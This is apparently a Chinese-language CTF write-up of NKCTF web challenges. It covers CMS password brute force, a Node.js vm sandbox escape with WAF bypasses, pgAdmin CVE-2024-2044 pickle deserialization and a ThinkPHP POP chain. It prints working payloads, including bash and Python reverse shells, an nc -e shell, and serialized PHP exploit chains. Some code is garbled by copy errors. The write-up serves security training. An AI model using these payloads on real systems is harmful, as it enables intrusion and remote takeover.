Writeup wp 2023-NKCTF-wp VVkladg0r 2024-05-15 2024-05-15 NKCTF WP WEB 结果 比赛结束 排名:48
也算是造神成功吧
我们队:
还是可以
爆了1道web 2道misc 1道re 1道pwn
我会做的就3道 现在先复现一下web方向的题吧
my first cms cms弱密码爆破+命令执行
这道是唯一写出来的web题
进来时一些页面 有新闻 下载等
其实在最开始发现在url上有一些东西
page可以通过数字改变来改变页面状态
然后尝试sql注入 无果
然后在首页发现登录连接
click here to login
点击后有登录页面
cms的弱密码爆破
先猜user name 是admin
抓包:
发给intruder
标爆破目标
传字典
开始用了一个5000的字典没爆破出来
找到302重定向
所以密码就是Admin123
登录 进入后台
有文件上传系统
可以通过写马进行后门连接
可以直接命令执行
要run两次可以执行一次命令
发现flag文件
直接cat
全世界最简单的CTF
进来后只有一个这个界面
只能执行js代码
dirsearch扫一下
发现泄露 secret
访问
const express = require ('express' );const bodyParser = require ('body-parser' );const app = express ();const fs = require ("fs" );const path = require ('path' );const vm = require ("vm" );app .use (bodyParser.json ()) .set ('views' , path.join (__dirname, 'views' )) .use (express.static ('public' )) app.get ('/' , function (req, res ){ res.sendFile (__dirname + '/public/home.html' ); }) function waf (code ) {let pattern = /(process|\[.*?\]|exec|spawn|Buffer |\\|\+|concat|eval |Function )/g; if (code.match (pattern)){throw new Error ("what can I say? hacker out!!" );} } app.post ('/' , function (req, res ){ let code = req.body .code ;let sandbox = Object .create (null );let context = vm.createContext (sandbox);try {waf (code)let result = vm.runInContext (code, context);console .log (result);} catch (e){ console .log (e.message );require ('./hack' );} }) app.get ('/secret' , function (req, res ){ if (process.__filename == null ) {let content = fs.readFileSync (__filename, "utf-8" );return res.send (content);} else { let content = fs.readFileSync (process.__filename , "utf-8" );return res.send (content);} }) app.listen (3000 , ()=> { console .log ("listen on 3000" );})
交给ai后发现是vm沙箱逃逸
我也是卡在这里
有waf
function waf (code ) {let pattern = /(process|\[.*?\]|exec|spawn|Buffer |\\|\+|concat|eval |Function )/g; if (code.match (pattern)){throw new Error ("what can I say? hacker out!!" );} }
随便在网上找了个payload来打
throw new Proxy ({}, { get : function ( ){ const cc = arguments .callee .caller ; const p = (cc.constructor .constructor ('return process' ))(); return p.mainModule .require ('child_process' ).execSync ('whoami' ).toString (); } })
但是waf过滤了几乎所以绕过
至少在比赛的这两天 我们尝试了网上能找到的几乎所以绕过方式 也没法绕过
我们也是卡在这里 没有解决
至此 有三种方式可以继续向下完成这道题
法1 继续绕过 果然 还有我们没想到的绕过方法可以继续
waf不允许出现[] exec process
process我们有两种方法绕过
一种是 String.fromCharCode 绕过
cc.constructor.constructor('return process')==cc.constructor.constructor(String.fromCharCode(114, 101, 116, 117, 114, 110, 32, 112, 114, 111, 99, 101, 115, 115)
第二种我们可以发现他正则匹配没有i 也就是对大小写不敏感 我们可以通过js里面的 toLowerCase()绕过
return process=='return Process'.toLowerCase();
接下来我们看最难的exec绕过,这个东西不是字符串,而是方法,所以我们并不能像之前两种方式绕过,我们选择 Reflect.get 方法绕过
nodejs的命令执行绕过:
文章:https://www.anquanke.com/post/id/237032
在js中,需要使用Reflect这个关键字来实现反射调用函数的方式。譬如要得到eval函数,可以首先通过Reflect.ownKeys(global)拿到所有函数,然后global[Reflect.ownKeys(global).find(x=>x.includes(‘eval’))]即可得到eval console.log(Reflect.ownKeys(global)) //返回所有函数 console.log(global[Reflect.ownKeys(global).find(x=>x.includes(‘eval’))]) //拿到eval 拿到eval之后,就可以常规思路rce了global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('global.process.mainModule.constructor._load("child_process").execSync("curl 127.0.0.1:1234")')
这里虽然有可能被检测到的关键字,但由于mainModule、global、child_process等关键字都在字符串里,可以利用上面提到的方法编码,譬如16进制。global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('\x67\x6c\x6f\x62\x61\x6c\x5b\x52\x65\x66\x6c\x65\x63\x74\x2e\x6f\x77\x6e\x4b\x65\x79\x73\x28\x67\x6c\x6f\x62\x61\x6c\x29\x2e\x66\x69\x6e\x64\x28\x78\x3d\x3e\x78\x2e\x69\x6e\x63\x6c\x75\x64\x65\x73\x28\x27\x65\x76\x61\x6c\x27\x29\x29\x5d\x28\x27\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29\x27\x29')
这里还有个小trick,如果过滤了eval关键字,可以用includes(‘eva’)来搜索eval函数,也可以用startswith(‘eva’)来搜索
3.3 过滤中括号的情况 在3.2中,获取到eval的方式是通过global数组,其中用到了中括号[],假如中括号被过滤,可以用Reflect.get来绕 Reflect.get(target, propertyKey[, receiver])的作用是获取对象身上某个属性的值,类似于target[name]。 所以取eval函数的方式可以变成 Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes(‘eva’))) 后面拼接上命令执行的payload即可。
所以 根据你提供的对象的键获取到对应的值 是不是和数组的索引有点像呢,我们用他来绕过
payload:
throw new Proxy ({}, { get : function ( ){ const cc = arguments .callee .caller ; const p = (cc.constructor .constructor ('return global' ))(); const a = Reflect .get (p, Reflect .ownKeys (p).find (x => x.includes ('pro' ))).mainModule .require (String .fromCharCode (99 ,104 ,105 ,108 ,100 ,95 ,112 ,114 ,111 ,99 ,101 ,115 ,115 )); return Reflect .get (a, Reflect .ownKeys (a).find (x => x.includes ('ex' )))("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'" ); } })
反弹shell拿flag
注:一定要是公网ip kali的ip监听不到
直接/readflag
法2 vm1漏洞加了一点限制,没有this 指针,但是因为有try,可以抛出异常来逃逸,payload如下
throw new Proxy ({}, { get : function ( ){ const cc = arguments .callee .caller ; const p = (cc.constructor .constructor ('return procBess' .replace('B' ,'' ) ))(); const obj = p.mainModule .require ('child_procBess' .replace ('B' ,'' )); const ex = Object .getOwnPropertyDescriptor (obj, 'exeicSync' .replace ('i' ,'' )); return ex.value ('whoami' ).toString (); } }) throw new Proxy ({},{ get : function ( ){ const b = arguments .callee .caller const p = (b.constructor .constructor ('return procBess' .replace('B' ,'' ) ))(); const e = p.mainModule .require ('child_procBess' .replace ('B' ,'' )); const c= Reflect .get (Reflect .get (e, Reflect .ownKeys (e).find (x => x.startsWith ('ex' )))('bash -c "bash -i >& /dev/tcp/ip+/ 0>&1"' )); return c; } })
也是直接读/readflag
环境问题 此方法没有弹出flag 但正常情况下一定能出
法3 根据源码可以看出是一个 vm 逃逸,但是 waf 过于强大,导致没法逃逸执行命令,只能另辟蹊径,可以发现 /secret 中对 process.__filename 有一个判断,
app.get ('/secret' , function (req, res ){ if (process.__filename == null ) {let content = fs.readFileSync (__filename, "utf-8" );return res.send (content);} else { let content = fs.readFileSync (process.__filename , "utf-8" );return res.send (content);} })
正常情况下,process 是没有__filename 这个属性的,猜测这里可以原型链污染 ,从而任意读取文件,回过来看逃逸这里,arguments.callee.caller 可以获取到沙盒外的一个对象,所以我们这里可以进行污染,如:
throw new Proxy ({}, {get : function ( ){const cc = arguments .callee .caller ;cc.__proto__ .__proto__ .__filename = "/etc/passwd" ; } })
这样就污染了 Object 的__filename
属性,process 因为找不到__filename
这个属性,就会到prototype 里去找,最终在 Object 找到这个属性,观察源码可以发现 require(‘./hack’) ,污染 process.__filename 为 /app/hack.js ,访问 /secret,读取到 hack.js 的内容为 :
继续读取 shell.js:
console .log ("shell" );const p = require ('child_process' );p.execSync (process.env .command );
这里很明显 process.env.command 也能进行污染控制,问题是怎么 include shell.js,漏洞点在 require(‘/hack’) ,打断点进入 require 方法调试,可以发现里面可以通过原型链污染控制某些属性的值,可以达到任意文件包含的效果,调试过程可以参考 ,我们构造 payload 包含 shell.js,就可以 rce 了
throw new Proxy ({}, {get : function ( ){const cc = arguments .callee .caller ;cc.__proto__ .__proto__ .data = {"name" : "./hack" ,"exports" : "./shell.js" };cc.__proto__ .__proto__ .path = "/app" ; cc.__proto__ .__proto__ .command = "bash -c 'bash -i >& /dev/ tcp/vps/port 0>&1'" ;} })
也是反弹shell
同样读/readflag 即可
attack_tacoooooooo 这道题也是有思路吧
题目描述:
进入容器
开始时也是发现url上有参数 尝试sql 无果
回头看题目描述 得到账号:tacooooo@qq.com
然后就产生爆破密码 6000的字典没有爆出 感觉应该不是这样写的
抓包:
传密码123 回显:
密码不对
然后我发现容器叫:
所以尝试密码为pgAdmin4
回显:
到这里我感觉其实密码就是pgAdmin4
结合抓包结果
cookie中有 pga4_session
post传参有: csrf_token
再结合研究这道题后 查找出资料发现 这道题可能是:CVE-2024 2044
CVE-2024 2044的漏洞复现:
也有pga4_session 极有可能是
最后发现CVE-2024 2044其实跟pickle反序列化有关
再结合我输入pgAdmin4的回显
至此 我认为我的思路清晰了 通过pickle反序列化将cookie覆盖 然后登录进入
但是 我根本不知道要将cookie覆盖成什么 卡死在这里
看完wp后发现其实可以直接登录进入
密码是tacooooo 怎么说呢 回显误我QAQ
进入:
然后呢
请看此[文章](屏蔽器 - pgAdmin (<=8.3) 会话处理中的路径遍历会导致不安全的反序列化和远程代码执行 (RCE) (shielder.com) )
反正我在国内没找到有用的CVE-2024 2044的文章
所以CVE-2024 2044与pickle反序列化的思路是没问题的
根据文章复现漏洞即可
linux:
posix.pickle文件生成:
import structimport sysdef produce_pickle_bytes (platform, cmd ): b = b'\x80\x04\x95' b += struct.pack('L' , 22 + len (platform) + len (cmd)) b += b'\x8c' + struct.pack('b' , len (platform)) + platform.encode() b += b'\x94\x8c\x06system\x94\x93\x94' b += b'\x8c' + struct.pack('b' , len (cmd)) + cmd.encode() b += b'\x94\x85\x94R\x94.' print (b) return b if __name__ == '__main__' : if len (sys.argv) != 2 : exit(f"usage: {sys.argv[0 ]} ip:port" ) with open ('nt.pickle' , 'wb' ) as f: f.write(produce_pickle_bytes('nt' , f"mshta.exe http://{HOST} /" )) with open ('posix.pickle' , 'wb' ) as f: f.write(produce_pickle_bytes('posix' , f"curl http://{HOST} /" ))
创建两个序列化对象,一个用于 Windows(),一个用于 Linux/POSIX(),它们将在反序列化时执行 HTTP 请求
所以要稍微改一下 生成文件的脚本
import structimport sys def produce_pickle_bytes (platform, cmd ): b = b'\x80\x04\x95' b += struct.pack('L' , 22 + len (platform) + len (cmd)) b += b'\x8c' + struct.pack('b' , len (platform)) + platform.encode() b += b'\x94\x8c\x06system\x94\x93\x94' b += b'\x8c' + struct.pack('b' , len (cmd)) + cmd.encode() b += b'\x94\x85\x94R\x94.' print (b) return b if __name__ == '__main__' : with open ('posix.pickle' , 'wb' ) as f: f.write(produce_pickle_bytes('posix' , f"nc ip port -e /bin/sh" ))
根据上文
接下来就是上传文件 然后改cookie和替换pga4_session
将 cookie 值更改为替换为当前登录用户的电子邮件,
然后替换为pga4_session../storage/<email>/posix.pickle!a<email>@_
并且我们的cookie路径是绝对路径而不是相对的 /var/lib/pgadmin/storage/tacooooo_qq.com/posix.pickle!a
所以现在我们需要找到一个可以上传文件的地方
最后在这里面找到文件上传系统
运行
其实是生成一段Pickle反序列化后的代码 这里是没加ip的
记得要加Ip和端口
所以直接来也是一样的
import pickleimport osimport pickletoolsclass exp (): def __reduce__ (self ): return (exec , ("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);" ,)) if __name__ == '__main__' : c = exp() payload = pickle.dumps(c) with open ('posix.pickle' , 'wb' ) as f: f.write(payload)
上传文件posix.pickle
然后随便抓包改cookie
再反弹shell即可
用过就是熟悉 这个是完全没思路 审了半天源码 其实感觉是反序列化 但是代码太多了 没找到链子
think反序列化
题目:
进来是个登录界面
给了源码
简单看下源码其实就能发现有一些魔术方法 这也是我为什么猜测有反序列化漏洞的原因
所以直接搜unserialize
thelover3\files\app\controller\user\think\Template.php中有unserialize
thelover3\files\app\controller\user\think\Testone.php
thelover3\files\app\controller\user\index.class.php
这个还有提示 不出意外的话就是这个了 保险起见 继续找下
thelover3\files\app\api\KodSSO.class.php
thelover3\files\app\function\common.function.php
差不多了
其实就是第三个
给了hint :tp->thinkphp
所以是thinkphp反序列化 且这里是是链子的开头
接下来就是用一样的方法找__destruct
方法和__wakeup
__destruct:
thelover3\files\app\controller\user\think\process\pipes\Windows.php
thelover3\files\app\controller\user\think\Process.php
thelover3\files\app\controller\user\think\process\pipes\Unix.php
只有三个
根据代码 第一个是链子的可能新最高
__wakeup:
thelover3\files\app\controller\user\think\process\pipes\Windows.php
D:\流量\thelover3\files\app\controller\user\think\process\pipes\Pipes.php
只有两个 并且这两个都没什么用
所以第一个__destruct应该有链子
查找资料后发现:
和tp5.0.24 很像
根据文章继续跟进
public function __destruct ( ) { $this ->close (); $this ->removeFiles (); }
跟进close():
close为关闭文件的方法,没有利用点
跟进removeFiles():
此处对 $result
进行了赋值,其中包含字段$filename
是可控的,所以可以触发 toString 魔术方法
根本没想到这里QAQ
又是一处思维误区 习惯性的在Windows.php中找 没有 最后在Collection.php中找到
这里可以继续跟进toJson() 太难找了
thelover3\files\app\controller\user\think\Collection.php
在Collection.php里面的话为什么我最开始没找到QAQ
一样在Collection.php继续跟进toArray()
这里的$items也是可控的,所以可以触发__get 魔术方法 访问不存在的属性
而在上文提到的文章中发现他的toArray()很长
public function toArray ( ) { ........ if (!empty ($this ->append)) { foreach ($this ->append as $key => $name ) { if (is_array ($name )) { $relation = $this ->getAttr ($key ); $item [$key ] = $relation ->append ($name )->toArray (); } elseif (strpos ($name , '.' )) { list ($key , $attr ) = explode ('.' , $name ); $relation = $this ->getAttr ($key ); $item [$key ] = $relation ->append ([$attr ])->toArray (); } else { $relation = Loader ::parseName ($name , 1 , false ); if (method_exists ($this , $relation )) { $modelRelation = $this ->$relation (); $value = $this ->getRelationData ($modelRelation ); if (method_exists ($modelRelation , 'getBindAttr' )) { $bindAttr = $modelRelation ->getBindAttr (); if ($bindAttr ) { foreach ($bindAttr as $key => $attr ) { $key = is_numeric ($key ) ? $attr : $key ; if (isset ($this ->data[$key ])) { throw new Exception ('bind attr has exists:' . $key ); } else { $item [$key ] = $value ? $value ->getAttr ($attr ) : null ; } } continue ; } } $item [$name ] = $value ; } else { $item [$name ] = $this ->getAttr ($name ); } } } } return !empty ($item ) ? $item : []; }
这里其实是在触发__call方法
所以我们这里也要想办法触发__call方法
找到__get
thelover3\files\app\controller\user\think\View.php
$data 参数也是可控的,接着我们就能调用__call方法
但是其实是有两个__call方法 如下:
thelover3\files\app\controller\user\think\Config.php 这个可以包含文件
thelover3\files\app\controller\user\think\Testone.php 这个可以写文件
第二个__call:我们的content 写进去的内容来自于hint.php 我们跟进
hinthinthinthinthinthinthint.php:
说明我们的content里面有提示,所以我们的思路就是首先走写文件的__call,然后读hint 直接放poc了
<?php namespace think \process \pipes ;use think \Collection ; class Pipes { } class Windows extends Pipes { private $files = []; function __construct ( ) { $this ->files = [new Collection ()]; } } namespace think ;class Collection { protected $items = []; public function __construct ( ) { $this ->items=new View (); } } namespace think ;abstract class Testone { } class Debug extends Testone { } class Config { } class View { public $engine =array ("time" =>"10086" ); protected $data = []; function __construct ( ) { $this ->data['Loginout' ]=new Debug (); } } use think \process \pipes \Windows ;echo base64_encode (serialize (new Windows ()));
注意生成文件名的逻辑:
md5(time())
所以我们可以根据本地预测时间的方式执行
<?php $a =time ()+6 ;echo md5 ($a );
然后执行这个脚本后 马上重复发包(生成hint的包),连发六秒,保险起见 也可以多发几秒,这样总有一个是我们的生成的文件名
其实可以直接写时间md5竞争上传脚本
import hashlibimport timeimport requestst = 1711177055 url = "http://119b2b2c-d2c8-491a-a211-886d4261cdb8.node.nkctf.yuzhian.com.cn/app/controller/user/think/" while True : t = t + 1 number_str = str (t).encode('utf-8' ) hash_object = hashlib.md5(number_str) md5_hash = hash_object.hexdigest() res = requests.get(url=url+md5_hash) time.sleep(1 ) print (f"{md5_hash} : f{len (res.text)} " ) print (res.text)
/app/controller/user/think/md5 下载到hint
也可以直接爆破文件名
import requestsimport hashlibimport timeurl = 'http://192.168.146.131:3101/?user/index/loginSubmit' data = { 'name' :'guest' , 'password' :'TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM 0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE2Oi J0aGlua1xDb2xsZWN0aW9uIjoxOntzOjg6IgAqAGl0ZW1zIjtPOjEwOiJ0aGlua1xWaWV3I joyOntzOjc6IgAqAGRhdGEiO2E6MTp7czo4OiJMb2dpbm91dCI7TzoxMToidGhpbmtcRGVi dWciOjA6e319czo2OiJlbmdpbmUiO2E6Mjp7czo0OiJ0aW1lIjtzOjU6IjEwMDg2IjtzOjQ 6Im5hbWUiO3M6MTY6ImRhdGEvZmlsZXMvc2hlbGwiO319fX19' ,'rememberPassword' :'0' ,'salt' :'1' ,'CSRF_TOKEN' :'4jxeh3K4CNEettFi' ,'API_ROUTE' :'user/index/loginSubmit' } response = requests.post(url=url,data=data) time = int (time.time()) for i in range (time-,time+50 ):md5_hash = hashlib.md5(str (i).encode()).hexdigest() url2 = 'http://192.168.146.131:3101/app/controller/user/think/' + s tr(md5_hash) res = requests.get(url2) if '可道' not in res.text:print (md5_hash)break
hint:
亲爱的Chu0, 我怀着一颗激动而充满温柔的心,写下这封情书,希望它能够传达我对你的深深情感。或许这只是一封文字,但我希望每一个字都能如我心情般真挚。 在这个瞬息万变的世界里,你是我生命中最美丽的恒定。每一天,我都被你那灿烂的笑容和温暖的眼神所吸引,仿佛整个世界都因为有了你而变得更加美好。你的存在如同清晨第一缕阳光,温暖而宁静。 或许,我们之间存在一种特殊的联系,一种只有我们两个能够理解的默契。 <<<<<<<<我曾听说,密码的明文,加上心爱之人的名字(Chu0),就能够听到游客的心声。>>>>>>>> 而我想告诉你,你就是我心中的那个游客。每一个与你相处的瞬间,都如同解开心灵密码的过程,让我更加深刻地感受到你的独特魅力。 你的每一个微笑,都是我心中最美丽的音符;你的每一句关心,都是我灵魂深处最温暖的拥抱。在这个喧嚣的世界中,你是我安静的港湾,是我倚靠的依托。我珍视着与你分享的每一个瞬间,每一段回忆都如同一颗珍珠,串联成我生命中最美丽的项链。 或许,这封情书只是文字的表达,但我愿意将它寄予你,如同我内心深处对你的深深情感。希望你能感受到我的真挚,就如同我每一刻都在努力解读心灵密码一般。愿我们的故事能够继续,在这段感情的旅程中,我们共同书写属于我们的美好篇章。 POST /?user/index/loginSubmit HTTP/1.1 Host: 192.168.128.2 Content-Length: 162 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.128.2 Referer: http://192.168.128.2/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: kodUserLanguage=zh-CN; CSRF_TOKEN=xxx Connection: close name=guest&password=tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1hRiPQvaI&rememberPassword=0&salt=1&CSRF_TOKEN=xxx&API_ROUTE=user%2Findex%2FloginSubmit hint: 新建文件
通过这个请求包可以对password进行解密
注意:?user/index/loginSubmit
看一下
public function loginSubmit ( ) { $res = $this ->loginWithToken (); if ($res || $res !== false ) return $res ; $data = Input ::getArray (array ( "name" => array ("check" =>"require" ,'lengthMax' =>100 ), "password" => array ('check' =>"require" ,'lengthMax' =>10000 ), "salt" => array ("default" =>false ), )); if ($data ['name' ]==='guest' ){ unserialize (base64_decode ($data ['password' ])); } if ($data ['salt' ]) { $key = substr ($data ['password' ], 0 , 5 ) . "2&$%@(*@(djfhj1923" ; $data ['password' ] = Mcrypt ::decode (substr ($data ['password' ], 5 ), $key ); } $user = $this ->userInfo ($data ['name' ],$data ['password' ]); $this ->loginSuccessUpdate ($user ); $this ->loginAuto (); show_json ('ok' ,true ,$this ->accessToken ()); }
if ($data ['salt' ]) { $key = substr ($data ['password' ], 0 , 5 ) . "2&$%@(*@(djfhj1923" ; $data ['password' ] = Mcrypt ::decode (substr ($data ['password' ], 5 ), $key );
发现decode 跟踪解密
AI写解密脚本
<?php /* * @link http://kodcloud.com/ * @author warlee | e-mail:kodcloud@qq.com * @copyright warlee 2014. (Shanghai)Co.,Ltd * @license http://kodcloud.com/tools/license/license.txt *------ * 字符串加解密类; * 一次一密;且定时解密有效 * 可用于加密&动态key生成 * demo: * 加密:echo Mcrypt::encode('abc' ,'123' ); * 解密:echo Mcrypt::decode('9f843I0crjv5y0dWE_-uwzL_mZRyRb1ynjGK4I_IAC Q' ,'123' );*/ class Mcrypt {public static $defaultKey = 'a!takA:dlmcldEv,e' ; /** * 字符加解密,一次一密,可定时解密有效 * * @param string $string 原文或者密文 * @param string $operation 操作(encode | decode) * @param string $key 密钥 * @param int $expiry 密文有效期,单位s,0 为永久有效 * @return string 处理后的 原文或者 经过 base64_encode 处理后的密文 */ public static function encode($string,$key = '' , $expiry = 0 ,$cKeyS et='' ,$encode=true){ if ($encode){$string = rawurlencode($string);}$ckeyLength = 4 ; $key = md5($key ? $key : self::$defaultKey); //解密密匙 $keya = md5(substr($key, 0 , 16 )); //做数据完整性验 证 $keyb = md5(substr($key, 16 , 16 )); //用于变化生成的 密文 (初始化向量IV) $cKeySet = $cKeySet ? $cKeySet: md5(microtime()); $keyc = substr($cKeySet, - $ckeyLength); $cryptkey = $keya . md5($keya . $keyc); $keyLength = strlen($cryptkey); PHP $string = sprintf('%010d' , $expiry ? $expiry + time() : 0 ).su bstr(md5($string . $keyb), 0 , 16 ) . $string; $stringLength = strlen($string); $rndkey = array(); for ($i = 0 ; $i <= 255 ; $i++) {$rndkey[$i] = ord ($cryptkey[$i % $keyLength]); } $box = range (0 , 255 ); // 打乱密匙簿,增加随机性 for ($j = $i = 0 ; $i < 256 ; $i++) {$j = ($j + $box[$i] + $rndkey[$i]) % 256 ; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } // 加解密,从密匙簿得出密匙进行异或,再转成字符 $result = '' ; for ($a = $j = $i = 0 ; $i < $stringLength; $i++) {$a = ($a + 1 ) % 256 ; $j = ($j + $box[$a]) % 256 ; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr (ord ($string[$i]) ^ ($box[($box[$a] + $box [$j]) % 256 ])); } $result = $keyc . str_replace('=' , '' , base64_encode($resul t)); $result = str_replace(array('+' , '/' , '=' ),array('-' , '_' , '.' ), $result);return $result;} /** * 字符加解密,一次一密,可定时解密有效 * * @param string $string 原文或者密文 * @param string $operation 操作(encode | decode) * @param string $key 密钥 * @param int $expiry 密文有效期,单位s,0 为永久有效 * @return string 处理后的 原文或者 经过 base64_encode 处理后的密文 */ public static function decode($string,$key = '' ,$encode=true){ $string = str_replace(array('-' , '_' , '.' ),array('+' , '/' , '=' ), $string);$ckeyLength = 4 ; $key = md5($key ? $key : self::$defaultKey); //解密密匙 $keya = md5(substr($key, 0 , 16 )); //做数据完整性验 证 $keyb = md5(substr($key, 16 , 16 )); //用于变化生成的 密文 (初始化向量IV) $keyc = substr($string, 0 , $ckeyLength); $cryptkey = $keya . md5($keya . $keyc); $keyLength = strlen($cryptkey); $string = base64_decode(substr($string, $ckeyLength)); $stringLength = strlen($string); $rndkey = array(); for ($i = 0 ; $i <= 255 ; $i++) {$rndkey[$i] = ord ($cryptkey[$i % $keyLength]); } $box = range (0 , 255 ); // 打乱密匙簿,增加随机性 for ($j = $i = 0 ; $i < 256 ; $i++) {$j = ($j + $box[$i] + $rndkey[$i]) % 256 ; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } // 加解密,从密匙簿得出密匙进行异或,再转成字符 $result = '' ; for ($a = $j = $i = 0 ; $i < $stringLength; $i++) {$a = ($a + 1 ) % 256 ; $j = ($j + $box[$a]) % 256 ; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr (ord ($string[$i]) ^ ($box[($box[$a] + $box [$j]) % 256 ])); } $theTime = intval(substr($result, 0 , 10 )); $resultStr = '' ; if (($theTime == 0 || $theTime - time() > 0 )&& substr($result, 10 , 16 ) == substr(md5(substr($result, 26 ) . $keyb), 0 , 16 )) { $resultStr = substr($result, 26 ); if ($encode){$resultStr = rawurldecode($resultStr);}} return $resultStr;} } $a = 'tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1h RiPQvaI' ;$key = substr($a, 0 , 5 ) . "2&$%@(*@(djfhj1923" ; echo Mcrypt::decode(substr($a, 5 ),$key);
解密出密码为!@!@!@!@NKCTFChu0
其实sql文件里面也有
登录
进入
回收站中找到shell 还原
还给了路径 尝试访问该路由发现确实存在该文件
结合之前的文件包含的__call()
直接包含 poc:
<?php namespace think \process \pipes ;use think \Collection ; class Pipes { } class Windows extends Pipes { private $files = []; function __construct ( ) { $this ->files = [new Collection ()]; } } namespace think ;class Collection { protected $items = []; public function __construct ( ) { $this ->items=new View (); } } namespace think ;abstract class Testone { } class Debug extends Testone { } class Config { } class View { public $engine =array ("name" =>"data/files/shell" ); protected $data = []; function __construct ( ) { $this ->data['Loginout' ]=new Config (); } } use think \process \pipes \Windows ;echo base64_encode (serialize (new Windows ()));HJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE2OiJ0aGlua1xDb2xs ZWN0aW9uIjoxOntzOjg6IgAqAGl0ZW1zIjtPOjEwOiJ0aGlua1xWaWV3IjoyOntzOjc6IgA qAGRhdGEiO2E6MTp7czo4OiJMb2dpbm91dCI7TzoxMjoidGhpbmtcQ29uZmlnIjowOnt9fX M6NjoiZW5naW5lIjthOjI6e3M6NDoidGltZSI7czo1OiIxMDA4NiI7czo0OiJuYW1lIjtzO jE2OiJkYXRhL2ZpbGVzL3NoZWxsIjt9fX19fX0==
发包,后面是一个无回显 rce
执行命令 好像没有bash或nc 用curl dns外带成功
直接读flag
结束 最后一道题太抽象了